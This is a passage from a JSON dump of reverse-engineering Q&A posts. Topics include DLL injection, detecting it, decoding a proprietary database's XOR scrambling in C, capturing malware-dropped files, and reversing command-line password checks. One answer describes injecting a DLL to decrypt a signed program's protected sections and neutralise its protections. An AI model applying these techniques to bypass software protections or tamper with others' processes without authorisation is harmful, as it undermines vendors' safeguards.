        "Answer": "<p>I was digging a bit into this, and found <a href=\"https://stackoverflow.com/questions/1515661/gdb-not-hitting-breakpoints\">this question</a> on SO by mrduclaw (link in the original article is dead, but <a href=\"http://web.archive.org/web/20090611150423/http://sourceware.org/gdb/current/onlinedocs/gdb_5.html#SEC29\" rel=\"nofollow noreferrer\">web archive has it</a>). He has the exact same problem like I do, and exactly the same motivation for finding a solution.</p>\n\n<p>So I was digging around some more and it turns out freebsd until recently didn't have support for forks in it's ptrace. There was a <a href=\"http://lists.freebsd.org/pipermail/freebsd-toolchain/2012-April/000370.html\" rel=\"nofollow noreferrer\">patch submitted</a> but I can't really figure out if it's applied. Will try to apply it myself and see if it will start working then. </p>\n"
    },
    {
        "Id": "2242",
        "CreationDate": "2013-06-12T17:12:41.647",
        "Body": "<p>I wrote a simple IDA plugin that, after a function call, looks for <code>mov MEM_LOCATION eax</code> and adds a name for the memory where the return value is stored. I limit my search to only a few instructions after the function call and bail out if I see another call before the return value is stored. Is there a more rigorous way to track where the return value goes besides these heuristics?</p>\n",
        "Title": "Tracking What Is Done With a Function's Return Value",
        "Tags": "|ida|",
        "Answer": "<p>In the static context, this is known as \"data flow analysis\".  For example, Hex-Rays incorporates the return-location information for function calls into its representation of the function so as to determine into which other locations that data flows.  You don't give a lot of detail on what you want to do with this information, but off the top of my head I'd say it could be worthwhile to investigate writing a Hex-Rays plugin.</p>\n"
    },
    {
        "Id": "2252",
        "CreationDate": "2013-06-14T15:07:25.390",
        "Body": "<p>I was reading a discussion about dumping a processes part of a process's memory and someone suggested using DLL injection to do this. I'll be honest in that I don't really understand. How does DLL injection work and what kinds of reversing tasks can you do with it?</p>\n",
        "Title": "What is DLL Injection and how is it used for reversing?",
        "Tags": "|dll|dll-injection|",
        "Answer": "<p><a href=\"https://reverseengineering.stackexchange.com/a/2253/2676\">DCoder's answer</a> is a good one.  To expand somewhat, I most often use DLL injection in the context of forcing an existing process to load a DLL through CreateRemoteThread.  From there, the entrypoint of the DLL will be executed by the operating system once it is loaded.  In the entrypoint, I will then invoke a routine that performs in-memory patching of all of the locations within the original binary that interest me, and redirects their execution into my DLL via a variety of modifications.  If I am interested in modifying or observing the process' interaction with some imported function, then I will overwrite the IAT (Import Address Table) entry for that function and replace it with a pointer to something that I control.  If I want to do the same with respect to some function that exists within the binary, I will make some sort of detours-style patch at the beginning of the function.  I can even do very surgical and targeted hooks at arbitrary locations, akin to old-school byte patching.  My DLL does its business within the individual hooks, and then is programmed to redirect control back to the original process.</p>\n\n<p>DLL injection provides a platform for manipulating the execution of a running process.  It's very commonly used for logging information while reverse engineering.  For example, you can hook the IAT entry for a given imported operating system library function, and then log the function arguments onto disk.  This provides you a data source that can assist in rapidly reverse engineering the target.</p>\n\n<p>DLL injection is not limited to logging, though.  Given the fact that you have free reign to execute whatever code that you want within the process' address space, you can modify the program in any way that you choose.  This technique is frequently used within the game hacking world to code bots.  </p>\n\n<p>Anything that you could do with byte patching, you can do with DLL injection.  Except DLL injection will probably be easier and faster, because you get to code your patches in C instead of assembly language and do not have to labor over making manual modifications to the binary and its PE structure, finding code caves, etc.  DLL injection almost entirely eliminates the need for using assembly language while making modifications to a binary; the only assembly language needed will be small pieces of code nearby the entrance and exit to a particular hook to save and restore the values of registers / the flags.  It also makes binary modification fast and simple, and does not alter cryptographic signatures of the executable that you are patching. (The comment about cryptographic signatures applies to the executable on disk, not in memory; of course, altering the contents in memory would affect a cryptographic signature computed on the altered memory contents.)</p>\n\n<p>DLL injection can be employed to solve highly non-trivial reverse engineering problems.  The following example is necessarily vague in some respects because of non-disclosure agreements.</p>\n\n<p>I had a recurring interest in a program that was updated very frequently (sometimes multiple times daily).  The program had a number of sections in it that were encrypted on disk after compilation time and had to be decrypted at run-time.  The software included a kernel module which performed the run-time encryption/decryption. To request encryption or decryption of a given section, the program shipped with a DLL that exported a function which took as arguments the number of the section and a Boolean that indicated whether the section should be encrypted or decrypted.  All of the components were digitally signed.</p>\n\n<p>I employed a DLL injection-based solution that worked as follows:</p>\n\n<ul>\n<li>Create the process suspended.</li>\n<li>Inject the DLL.</li>\n<li>DLL hooks GetProcAddress in the program's IAT.</li>\n<li>GetProcAddress hook waits for a specific string to be supplied and then returns its own hooked version of that function.</li>\n<li>The hooked function inspects the return address on the stack two frames up to figure out the starting address of the function (call it Func) that called it.</li>\n<li>The hooked function then calls Func for each encrypted section, instructing it to decrypt each section.  To make this work, the hooked function has to pass on the calls to the proper function in the DLL for these calls.</li>\n<li>After having done so, for every subsequent call to the hooked function, it simply returns 1 as though the call was successful.</li>\n<li>Having decrypted all the sections, the DLL now dumps the process' image onto the disk and reconstructs the import information.</li>\n<li>After that it does a bunch of other stuff neutralizing the other protections.</li>\n</ul>\n\n<p>Initially I was doing all of this by hand for each new build.  That was way too tedious.  One I coded the DLL injection version, I never had to undertake that substantial and manual work ever again.</p>\n\n<p>DLL injection is not widely known or used within reverse engineering outside of game hacking.  This is very unfortunate, because it is an extremely powerful, flexible, and simple technique that should be part of everyone's repertoire.  I have used it dozens of times and it seems to find a role in all of my dynamic projects.  The moment my task becomes too cumbersome to do with a debugger script, I switch to DLL injection.</p>\n\n<p>In the spectrum of reverse engineering techniques, every capability of DLL injection is offered by dynamic binary instrumentation (DBI) tools as well, and DBI is yet more powerful still.  However, DBI <a href=\"http://blog.coresecurity.com/2012/06/22/recon-2012-presentation-detecting-dynamic-binary-instrumentation-frameworks/\" rel=\"noreferrer\">is not stealthy</a> and incurs a serious overhead in terms of memory consumption and possibly performance.  I always try to use DLL injection before switching to DBI.</p>\n"
    },
    {
        "Id": "2260",
        "CreationDate": "2013-06-15T15:45:41.703",
        "Body": "<p>I want to open finnish sports league \"data file\" used for bookkeeping. It includes all statistics for few decade, so it's interesting data file.</p>\n\n<p>The file is here: <a href=\"http://www.bittilahde.fi/Tietokanta.dat\" rel=\"noreferrer\">http://www.bittilahde.fi/Tietokanta.dat</a> (Database.dat in english)</p>\n\n<p>The book keeping program is here: <a href=\"http://www.pesistulokset.fi/Kirjaus504.exe\" rel=\"noreferrer\">http://www.pesistulokset.fi/Kirjaus504.exe</a></p>\n\n<p>What I've found out:</p>\n\n<ul>\n<li>The histogram of database file is completely flat</li>\n<li>There's no header I could recognize in database file</li>\n<li>The .exe is compiled with Delphi 4</li>\n<li>I can find some data structures with <a href=\"http://kpnc.org/idr32/en/index.htm\" rel=\"noreferrer\">IDR</a>, but cannot figure out how uncompress the file.</li>\n</ul>\n\n<p>What could be the next step? </p>\n",
        "Title": "Reverse engineering compressed file, where to start?",
        "Tags": "|file-format|",
        "Answer": "<p>Looking at it in <a href=\"http://www.ollydbg.de/\" rel=\"noreferrer\">OllyDbg</a> it looks like a heavy task. Looks like a custom database with encrypted and (custom?) compressed data. This or the like would usually be the case in such applications. A flat file with structured data is not part of this one.</p>\n<p>Anyhow. As a starter:</p>\n<p>A quick check after trying out some general compression tools like 7z or binwalk, (have not tested it), can be to use <a href=\"http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx\" rel=\"noreferrer\">ProcMon</a> from Sysinternals. Start ProcMon, then your application and set filter on the application in ProcMon. You quickly find that:</p>\n<p>In short it reads in chunks of varying size, but for main data processing it reads chunks of 16384 bytes. The process in steps:</p>\n<ol>\n<li>Generate seed map of 256 integers. (Done once at application start.)</li>\n<li>Loop:<br />\n2.1 Read 16384 bytes into buffer from .dat file.<br />\n2.2 XOR routine on buffer using offset and last four bytes of buffer as base.<br />\n2.3 Checksum on XOR'ed buffer using seed map from step 1.<br />\n2.4 Parse buffer and read out data.</li>\n</ol>\n<p>The application also reads same chunks multiple times.</p>\n<hr />\n<h1>2.1:</h1>\n<p>Example:</p>\n<pre><code>013D0010  D4 9E BE BF 1C 1C 0B D4 C5 E7 11 B5 09 48 87 FA  \u00d4\u017e\u00be\u00bf\u00d4\u00c5\u00e7\u00b5.H\u2021\u00fa\n013D0020  29 4C 03 C9 DE 4A 2B 71 74 7F D2 48 E7 13 94 4E  )L\u00c9\u00deJ+qt\u00d2H\u00e7\u201dN\n...\n013D3FF0  6A D1 55 92 E2 16 60 53 69 89 86 7D D9 D8 10 BC  j\u00d1U\u2019\u00e2`Si\u2030\u2020}\u00d9\u00d8\u00bc\n013D4000  90 F3 D1 48 28 47 34 EC 39 36 EC 4D 69 2A 7D E5  \u00f3\u00d1H(G4\u00ec96\u00ecMi*}\u00e5\n                                             |_____._____|\n                                                   | \n                         Last DWORD aka checksum --+\n</code></pre>\n<hr />\n<p><em>Steps and details in order of discovery:</em></p>\n<p>Split the .dat file in chunks of 16384 bytes and also generate a hex-dump of each file for easy search and comparison. To be honest I use Linux for this part with <code>dd</code>, <code>xxd -ps</code>, <code>grep</code>, <code>diff</code> etc.</p>\n<p>Start OllyDbg, open the application, locate <code>CreateFile</code> and set breakpoint:</p>\n<pre><code>00401220   $-FF25 18825000  JMP DWORD PTR DS:[&lt;&amp;kernel32.CreateFileA&gt;;  kernel32.CreateFileA\n</code></pre>\n<p>Press <code>F9</code> until filename (in <code>EAX</code>) is .dat file. Set/enable breakpoint on <code>ReadFile</code>. <code>F9</code> and when read is done start stepping and looking at what is done.</p>\n<hr />\n<p>Looking at it:</p>\n<h1>2.2:</h1>\n<p>After read it first modify the buffer by using offset as &quot;magic&quot; starting at:</p>\n<pre><code>0045F5EC  /$ 53   PUSH EBX     ;  ALGO 2: XOR algorithm - post file read.\n...\n0045F6B6  \\. C3   RETN         ;  ALGO 2: RETN\n</code></pre>\n<p>At least two of the actions taken seems to be <a href=\"https://bitbucket.org/hbhzwj/imalse/src/74e53be30a75/tools/inet-3.0/libj_random.c#cl-350\" rel=\"noreferrer\">libj_randl1()</a> and <a href=\"https://bitbucket.org/hbhzwj/imalse/src/74e53be30a75/tools/inet-3.0/libj_random.c#cl-364\" rel=\"noreferrer\">libj_randl2()</a>. <em>(This would be step 2.2 in list above.)</em></p>\n<p>Simplified:</p>\n<pre><code>edx = memory address of buffer\necx = offset / 0x4000\nedi = edx\nebx = ecx * 0x9b9\nesi = last dword of buffer &amp; 0x7fffffff\necx = 0\n\ni = 0;\nwhile (i &lt; 0x3ffc) { /* size of buffer - 4 */\n    manipulate buffer\n}\n</code></pre>\n<p>The whole routine translated to C code:</p>\n\n<pre><code>int xor_buf(uint8_t *buf, long offset, long buf_size)\n{\n    int32_t eax;\n    int32_t ebx;\n    int32_t esi;\n    long i;\n\n    buf_size -= 4;\n\n    ebx = (offset / 0x4000) * 0x9b9;\n    /* Intel int 32 */\n    esi = (\n        (buf[buf_size + 3] &lt;&lt; 24) |\n        (buf[buf_size + 2] &lt;&lt; 16) |\n        (buf[buf_size + 1] &lt;&lt;  8) |\n         buf[buf_size + 0]\n        ) &amp; 0x7fffffff;\n\n    for (i = 0; i &lt; buf_size /*0x3ffc*/; ++i) {\n        /* libj_randl2(sn) Ref. link above. */\n        ebx = ((ebx % 0x0d1a4) * 0x9c4e) - ((ebx / 0x0d1a4) * 0x2fb3);\n\n        if (ebx &lt; 0) {\n            ebx += 0x7fffffab;\n        }\n\n        /* libj_randl1(sn) Ref. link above. */\n        esi = ((esi % 0x0ce26) * 0x9ef4) - ((esi / 0x0ce26) * 0x0ecf);\n\n        if (esi &lt; 0) {\n            esi += 0x7fffff07;\n        }\n\n        eax = ebx - 0x7fffffab + esi;\n\n        if (eax &lt; 1) {\n            eax += 0x7fffffaa;\n        }\n\n        /* Modify three next bytes. */    \n        buf[i] ^= (eax &gt;&gt; 0x03) &amp; 0xff;\n\n        if (++i &lt;= buf_size) {\n            buf[i] ^= (eax &gt;&gt; 0x0d) &amp; 0xff;\n        }\n        if (++i &lt;= buf_size) {\n            buf[i] ^= (eax &gt;&gt; 0x17) &amp; 0xff;\n        }\n    }\n\n    return 0;\n}\n</code></pre>\n<hr />\n<p>Then a checksum is generated of the resulting buffer, (minus last dword), and checked against last dword. Here it uses a buffer from BSS segment that is generated upon startup, <em>step 1. from list above</em>. (Offset <code>0x00505000</code> + <code>0x894</code> and using a region of <code>4 * 0x100</code> as it is 256 32 bit integers). This seed map seems to be constant (never re-generated / changed) and can be skipped if one do not want to validate the buffer.</p>\n<h1>1.</h1>\n<p>Code point in disassembly (Comments mine.):</p>\n<pre><code>0045E614 . 53   PUSH EBX           ;  ALGO 1: GENERATE CHECKSUM MAGICK BSS\n...\n0045E672 . C3   RETN               ;  ALGO 1: RETN\n</code></pre>\n<p>The code for the BSS numbers can simplified be written in C as e.g.:</p>\n\n<pre><code>int eax;    /* INT NR 1, next generated number to save */\nint i, j;\n\nunsigned int bss[0x100] = {0};  /* offset 00505894 */\n\nfor (i = 0; i &lt; 0x100; ++i) {\n    eax = i &lt;&lt; 0x18;\n    for (j = 0; j &lt; 8; ++j) {\n        if (eax &amp; 0x80000000) {\n            eax = (eax + eax) ^ 0x4c11db7;\n        } else {\n            eax &lt;&lt;= 1;\n        }\n    }\n    bss[i] = eax;\n}\n</code></pre>\n<hr />\n<h1>2.3:</h1>\n<p>That bss int array is used on the manipulated buffer to generate a checksum that should be equal to the last integer in the 16384 bytes read from file. <em>(Last dword, the one skipped in checksum routine and XOR'ing.)</em>. <em>This would be step 2.3 in list above.</em></p>\n\n<pre><code>unsigned char *buf = manipulated file buffer;\nunsigned char *bss = memory dump 0x00505894 - 0x00505C90, or from code above\n\neax = 0x13d0010;  /* Memory location for buffer. */\nedx = 0x3ffc;     /* Size of buffer - 4 bytes (checksum). */\n\n...\n</code></pre>\n<p>At exit <code>ecx</code> is equal to checksum.</p>\n<p>Code point in disassembly (Comments mine.):</p>\n<pre><code>0045E5A8  /$ 53  PUSH EBX    ;  ALGO 3: CALCULATE CHECKSUM AFTER ALGORITHM 2\n...\n0045E5E0  \\. C3  RETN        ;  ALGO 3: RETN (EAX=CHECKSUM == BUFFER LAST 4 BYTES)\n</code></pre>\n<p>Shortened to a C routine it could be something like:</p>\n\n<pre><code>int32_t checksum(int32_t map[0x100], uint8_t *buf, long len)\n{\n    int i;\n    int32_t k, cs = 0;\n\n    for (i = 0; i &lt; len; ++i) {\n        k = (cs &gt;&gt; 0x18) &amp; 0xff;\n        cs = map[buf[i] ^ k] ^ (cs &lt;&lt; 0x08);\n    }\n\n    return cs;\n}\n</code></pre>\n<hr />\n<p>It is checked to be OK and then checksum in buffer is set as: two least significant bytes = 0, two most significant bytes are set to some number (chunk number in file or read number, (starting from 0)).</p>\n<pre><code>0045F9BF   . C680 FC3F0000 &gt;MOV BYTE PTR DS:[EAX+3FFC],0     ;  Set two lower bytes of checksum in dat buf to 0\n0045F9C6   . C680 FD3F0000 &gt;MOV BYTE PTR DS:[EAX+3FFD],0     ;  follows previous\n0045F9CD   . 66:8B4D F8     MOV CX,WORD PTR SS:[EBP-8]       ;  Set CX to stack pointer value of addr EBP - 8 (counter of sorts)\n0045F9D1   . 66:8988 FE3F00&gt;MOV WORD PTR DS:[EAX+3FFE],CX    ;  Set .dat buffer higher bytes like CX.\n</code></pre>\n<hr />\n<p>Now after all this is done the actual copying of data starts with even more algorithms. <strong>Here the real work starts</strong>. Identifying data types, structures, where and what etc. Found some <em>routines</em> that extracted names etc. But everything being Finnish didn't help on making it easier to grasp ;).</p>\n<p>The data above could be a start.</p>\n<p>Some breakpoints that might be of interest to begin with:</p>\n<pre><code>Breakpoints\nAddress    Module     Active    Disassembly  Comment\n0045E5A8   Kirjaus5   Disabled  PUSH EBX     ALGO 3: CALCULATE CHECKSUM AFTER ALGORITHM 2\n0045E5E0   Kirjaus5   Disabled  RETN         ALGO 3: RETN (EAX=CHECKSUM == BUFFER LAST 4 BYTES)\n0045E614   Kirjaus5   Disabled  PUSH EBX     ALGO 1: GENERATE CHECKSUM MAGIC BSS\n0045E672   Kirjaus5   Disabled  RETN         ALGO 1: RETN\n0045F5EC   Kirjaus5   Disabled  PUSH EBX     ALGO 2: FILE POST XOR READ ALGORITHM\n0045F6B6   Kirjaus5   Disabled  RETN         ALGO 2: RETN\n</code></pre>\n<hr />\n<p><em>Some notes:</em></p>\n<p>Keep a backup of the .dat file you are working with. If you abort the application the file often gets corrupted as it, as noted by <a href=\"https://reverseengineering.stackexchange.com/users/1924/blabb\">@blabb</a>, write data back to file. The .dat file also seem to be <em>live</em> so a new download of it would result in different data.</p>\n"
    },
    {
        "Id": "2262",
        "CreationDate": "2013-06-15T22:58:17.680",
        "Body": "<p>In <a href=\"https://reverseengineering.stackexchange.com/questions/2252/what-is-dll-injection-and-how-is-it-used-for-reversing\">this question on DLL injection</a> multiple answers mention that DLL injection can be used to modify games, perhaps for the purposes of writing a bot. It seems desirable to be able to detect DLL injection to prevent this from happening. Is this possible?</p>\n",
        "Title": "How can DLL injection be detected?",
        "Tags": "|dll|dll-injection|",
        "Answer": "<p>There are multiple ways that you can use which <em>might</em> work (and see below for the reasons why they might not).  Here are two:</p>\n\n<ul>\n<li>A process can debug itself, and then it will receive notifications of DLL loading.</li>\n<li>A process can host a TLS callback, and then it will receive notifications of thread creation.  That can intercept thread creation such as what is produced by CreateRemoteThread.  If the thread start address is LoadLibrary(), then you have a good indication that someone is about to force-load a DLL.</li>\n</ul>\n\n<p>Other than that, you can periodically enumerate the DLL name list, but all of these techniques can be defeated by a determined attacker (debugging can be stopped temporarily; thread notification can be switched off; the injected DLL might not remain loaded long enough because it might use dynamically-allocated memory to host itself and then unload the file, etc).</p>\n"
    },
    {
        "Id": "2266",
        "CreationDate": "2013-06-16T13:59:56.810",
        "Body": "<p>This is similar in nature to <a href=\"https://reverseengineering.stackexchange.com/q/118/2044\">this question</a> and <a href=\"https://reverseengineering.stackexchange.com/a/58/2044\">this question</a>; I'm interested in what compiler settings to enabled/disable to make a Visual C++ harder to reverse engineer.</p>\n\n<p>Here's a few compiler flags I've already got which I believe should be set:<br>\n<code><a href=\"http://msdn.microsoft.com/en-us/library/vstudio/k1ack8f1.aspx\" rel=\"nofollow noreferrer\">/Ox</a></code> Full optimization. This appears to be the equivalent of gcc's -O3<br>\n<code><a href=\"http://msdn.microsoft.com/en-us/library/vstudio/k1ack8f1.aspx\" rel=\"nofollow noreferrer\">/Oy</a></code> Omit frame pointers. (x86 only)<br>\n<code><a href=\"http://msdn.microsoft.com/en-us/library/vstudio/we6hfdy0.aspx\" rel=\"nofollow noreferrer\">/GR-</a></code> Disable Run Time Type Information<br>\n<code><a href=\"http://msdn.microsoft.com/en-us/library/vstudio/2kzt1wy3.aspx\" rel=\"nofollow noreferrer\">/MT</a></code> flag is used to static link the various libraries.</p>\n\n<p>Visibility - I don't think  the MSVC compiler has any options to turn off visibility like <code>-fvisibility=hidden</code> offered in gcc, but is this necessary for MSVC since the debugging symbols are stored in the PDB file?</p>\n\n<p>Are there any other things I should include to ensure minimal information is distrubuted in the application?</p>\n\n<p>(I might add that I am creating a standalone executable)</p>\n",
        "Title": "Making Visual C++ harder to reverse engineer",
        "Tags": "|windows|obfuscation|c++|",
        "Answer": "<p>Apart from the compiler, because they dont have remedy for RE security. You can use obfuscation and anti debugger tricks. If you want there are lots of good packer, use them </p>\n"
    },
    {
        "Id": "2274",
        "CreationDate": "2013-06-16T20:24:40.950",
        "Body": "<p>Can anyone suggest a tool to prevent a malware from deleting itself on Windows x64? The purpose is to collect all the components of the whole process of infection.</p>\n\n<p>I've looked at CaptureBat, but its drivers are only 32-bit.\nI also thought about using file recovery utilities for this.</p>\n",
        "Title": "Prevent malware from deleting itself during installation on Windows x64",
        "Tags": "|windows|malware|digital-forensics|",
        "Answer": "<p>There are couple of ways that I could think of.</p>\n\n<p><strong>First off</strong>, you could use <a href=\"http://www.cuckoosandbox.org\" rel=\"nofollow\"><strong>Cuckoo Sandbox</strong></a>. It is an automated malware analysis system. It is open source and its modules are written in <a href=\"http://python.org\" rel=\"nofollow\"><strong>Python</strong></a>. To quote the website: </p>\n\n<blockquote>\n  <p>Malware! Tear it apart, discover its ins and outs and collect actionable threat data. Cuckoo is the leading open source automated malware analysis system.</p>\n</blockquote>\n\n<p>Pretty exciting, isn't it? I believe, it will capture dropped files by default. Once a malware sample is submitted to <strong><a href=\"http://www.cuckoosandbox.org\" rel=\"nofollow\">Cuckoo Sandbox</a></strong> and analysis is completed, user gets analysis report. Certain sub-directory of the analysis report will contain files <strong>Cuckoo</strong> was able to dump. For more information check out <strong><a href=\"https://cuckoo.readthedocs.org/en/latest/usage/results/index.html?highlight=dropped\" rel=\"nofollow\">Cuckoo's Analysis Result</a></strong> page. </p>\n\n<p>In addition, you could create your own custom module to process dropped files. What are <strong>processing modules</strong>? Per <a href=\"https://cuckoo.readthedocs.org/en/latest/customization/processing/index.html\" rel=\"nofollow\"><strong>Cuckoo Doc Website</strong></a>:  </p>\n\n<blockquote>\n  <p>Cuckoo\u2019s processing modules are Python scripts that let you define custom ways to analyze the raw results generated by the sandbox and append some information to a global container that will be later used by the signatures and the reporting modules. You can create as many modules as you want, as long as they follow a predefined structure...</p>\n</blockquote>\n\n<p>I am pretty sure there are other automated sandboxes out there as well. However, you have to remember, there is no 100% guarantee a sandbox will process your malware just the way it would execute in real life environment. </p>\n\n<p><strong>Second method</strong>. You really need to know <strong>HOW</strong> dropped files are deleted for this method to work. I have already mentioned it in the comments above. You could also patch your executable. Let's say <strong><a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa363915%28v=vs.85%29.aspx\" rel=\"nofollow\">DeleteFile()</a></strong> is used. If patching malware is not an option, you could hook <strong><a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa363915%28v=vs.85%29.aspx\" rel=\"nofollow\">DeleteFile()</a></strong> function system wide. It is standard Windows API used to delete a file. This function is exported by <strong>Kernel32.dll</strong>. There is a lot written about system wide or global hooks and ways to accomplish it. I will not go in details about it here. However, there is one thing worth mentioning, you have to make sure you \"trick\" malware into \"thinking\" file is indeed delete by returning appropriate values. That's why, there could be a problem with using ACL directly. What if malware checks a return of <strong>DeleteFile()</strong> (or whatever it uses to delete the dropped file), and gets <strong>ERROR_ACCESS_DENIED</strong>? It might very well divert it from the regular \"desired\" execution path. </p>\n\n<p>In addition, there are debuggers out there, that you help you make this process rather semi-automated. To mention few: <a href=\"http://debugger.immunityinc.com\" rel=\"nofollow\"><strong>Immunity Debugger</strong></a> by <a href=\"http://www.immunityinc.com\" rel=\"nofollow\"><strong>Immunity Inc</strong></a>. It employs very well supported Python API for automation and scripting. There are other option out there as well.</p>\n\n<p>What I would like to mention at the end is that you are absolutely right. You might need to look into creating a little tool of your own. There is no \"one-fits-all\" solution. Some automated solutions might work better then others. From time to time you will have to dig in. Remember, getting your hands \"dirty\" gives you great and in-depth understanding of things happening behind the \"curtain\". I personally love such an involvement, and find it to be a really great learning experience.</p>\n"
    },
    {
        "Id": "2283",
        "CreationDate": "2013-06-19T02:00:31.260",
        "Body": "<p>IDA Pro displays certain buffer or padding above (at lower addresses) local variables in stack frame view. For instance:</p>\n\n<p><strong>Example 1.</strong><br> \nThe following screen shot of stack frame view shows 12 bytes (included in the red box) buffer: </p>\n\n<p><img src=\"https://i.stack.imgur.com/wB1ok.png\" alt=\"enter image description here\"></p>\n\n<p><strong>Example 2.</strong><br> \nThe following screen shot of a different stack frame view shows 12 bytes buffer again:</p>\n\n<p><img src=\"https://i.stack.imgur.com/ForTX.png\" alt=\"enter image description here\"></p>\n\n<p>I understand that IDA marked it as <strong><code>db ?; undefined</code></strong> because it couldn't figure out how it was used. I also realize that IDA automatically calculates size of a stack frame by monitoring ESP. I would assume it might have something to do with non-volitile register save area. However, in <strong>Example 1</strong> it clearly shows <strong><code>Saved regs: 0</code></strong> and in <strong>Example 2</strong> it shows <strong><code>Saved regs: 4</code></strong>. I am puzzled, and here go my questions:</p>\n\n<p>Why does IDA Pro display certain buffer or padding above (at lower addresses) local variables in stack frame view? Is it a coincidence that both views show exactly <strong>12 bytes</strong> buffer? Is it something particular to certain calling convention or complier? </p>\n",
        "Title": "IDA Pro function stack frame view",
        "Tags": "|disassembly|static-analysis|ida|calling-conventions|",
        "Answer": "<p>Thank you all so much for your answers and comments. While reading your comments and preparing to update my question, I found the answer. </p>\n\n<p>I must give credit to <a href=\"https://reverseengineering.stackexchange.com/users/60/igor-skochinsky\">Igor Skochinsky</a>, who asked me to provide functions' prolog instructions. Both functions use the <a href=\"http://en.wikipedia.org/wiki/X86_calling_conventions#cdecl\" rel=\"nofollow noreferrer\">cdecl calling convention</a>. However, calling convention has nothing to do with this buffer. This is what the prolog looks like:</p>\n\n<pre><code>push    ebp\nmov     ebp, esp\nsub     esp, &lt;size of local vars&gt;\npush    ebx\npush    esi\npush    edi\n</code></pre>\n\n<p>This buffer reflects <strong>three push instructions</strong> for registers EBX, ESI, EDI. These registers are categorized as <strong>Callee Saved Registers</strong> and this \"buffer\" is called <strong>Non-Volatile Register Save Area</strong>. </p>\n\n<p>In accordance to x86 convention (it is also applicable to x64), registers are divided into <strong>Caller Saved Registers</strong> and <strong>Callee Saved Registers</strong>. </p>\n\n<p>Caller saved registers are also known as volatile registers. Those are core CPU registers such as EAX, EDX, and ECX. A calling function (Caller) is responsible for saving volatile registers onto usually runtime stack before making a call. </p>\n\n<p>Callee saved registers are known as non-volatile registers. Those are core CPU registers such as EBX, ESI, EDI, ESP, and EBP. It is assumed by convention, that values in those registers will be preserved by a callee function. In case any of the non-volatile registers are going to be used within a callee,  the callee is responsible to save the registers onto runtime stack. In addition, the callee is responsible to restore those registers before returning to a caller function.</p>\n\n<p>The way volatile and non-volatile registers used is rather compiler driven. The following paper <a href=\"http://www.cs.virginia.edu/~evans/cs216/guides/x86.html\" rel=\"nofollow noreferrer\"><strong>x86 Assembly Guide</strong></a> describes Caller and Callee rules in more detail. </p>\n"
    },
    {
        "Id": "2299",
        "CreationDate": "2013-06-20T04:16:38.990",
        "Body": "<p>I am working on a console windows executable. So far what I figured out is that the executable checks number of command line arguments. Afterwards, it branches out depending on the number of arguments passed (argv). The jumps are looked up using some sorts of jump table, which is constructed dynamically. It seems to be a daunting task try to figure out all of the possible command line arguments. It looks like the binary only executes only when certain number of particular arguments is parsed. I have collected some possible options using <code>strings</code> utility. </p>\n\n<p>Is there a general road map for reversing command line arguments? What are possible approaches to reversing them? Are there any tools that could be employed?</p>\n",
        "Title": "How to reverse command line arguments?",
        "Tags": "|disassembly|binary-analysis|ida|c|c++|",
        "Answer": "<p>if you determined the argv and argc and values in there you gone half of the way . from value of argc you can understand how many arguments you should pass and from values in argv you can determine what you \"should\" pass.</p>\n\n<p>i wrote a very simple example for you</p>\n\n<pre><code>70 _main           proc near               ; CODE XREF: _main_0j\n.text:00401070\n.text:00401070 var_44          = byte ptr -44h\n.text:00401070 var_4           = dword ptr -4\n.text:00401070 arg_0           = dword ptr  8\n.text:00401070 arg_4           = dword ptr  0Ch\n.text:00401070\n.text:00401070                 push    ebp\n.text:00401071                 mov     ebp, esp\n.text:00401073                 sub     esp, 44h\n.text:00401076                 push    ebx\n.text:00401077                 push    esi\n.text:00401078                 push    edi\n.text:00401079                 lea     edi, [ebp+var_44]\n.text:0040107C                 mov     ecx, 11h\n.text:00401081                 mov     eax, 0CCCCCCCCh\n.text:00401086                 rep stosd\n.text:00401088                 cmp     [ebp+arg_0], 2\n.text:0040108C                 jge     short loc_4010A0\n.text:0040108E                 push    offset aCheckUsage ; \"check usage\"\n.text:00401093                 call    _printf\n.text:00401098                 add     esp, 4\n.text:0040109B                 or      eax, 0FFFFFFFFh\n.text:0040109E                 jmp     short loc_4010DB\n</code></pre>\n\n<p>as you can see there is <code>cmp  [ebp+arg_0], 2</code> it means at least we have to pass one \"argument\" then there is jqe (jump if greater or equal) .</p>\n\n<p>so we will call program with one argument to pass this condition so we will be in <code>loc_4010A0</code> and here is the code .</p>\n\n<pre><code>0 loc_4010A0:                             ; CODE XREF: _main+1Cj\n.text:004010A0                 push    offset Str2     ; \"n00b\"\n.text:004010A5                 mov     eax, [ebp+arg_4]\n.text:004010A8                 mov     ecx, [eax+4]\n.text:004010AB                 push    ecx             \n.text:004010AC                 call    _strcmp         \n.text:004010B1                 add     esp, 8          \n.text:004010B4                 mov     [ebp+var_4], eax\n.text:004010B7                 cmp     [ebp+var_4], 0  \n.text:004010BB                 jle     short loc_4010CC\n.text:004010BD                 push    offset aWrongPassword ; \"wrong password !!!\"\n.text:004010C2                 call    _printf        \n.text:004010C7                 add     esp, 4          \n.text:004010CA                 jmp     short loc_4010D9 \n</code></pre>\n\n<p>now as you can see we have another compare here this time using strcmp and before that we will push our str and <code>arg_4</code> and here is our actual argument vector . </p>\n\n<p>you can really easily analysis arguments using static and dynamic analysis but there is a few notes you have to keep in your mind .</p>\n\n<ol>\n<li>how many arguments we have to pass</li>\n<li>type of arguments</li>\n<li>location of arguments (argv)</li>\n</ol>\n\n<p>also there is additional note here , sometime maybe we \"DO NOT\" use argc/argv for getting command line arguments we can use windows API like <code>GetCommandLine</code> and so on too. you have to check how arguments are received and parsed too.</p>\n"
    },
    {
        "Id": "2302",
        "CreationDate": "2013-06-20T09:06:48.170",
        "Body": "<p><a href=\"http://metasm.cr0.org/\" rel=\"nofollow\">Metasm</a> is an assembly manipulation suite written in Ruby. It does provide a quite extensive API for disassembling and extracting a CFG representation from a binary program.</p>\n\n<p>I would like to know what algorithm is used to extract the CFG. Is this usual linear sweep or recursive traversal, or is another algorithm?</p>\n",
        "Title": "What algorithm does Metasm use to dissassemble binary code?",
        "Tags": "|disassembly|",
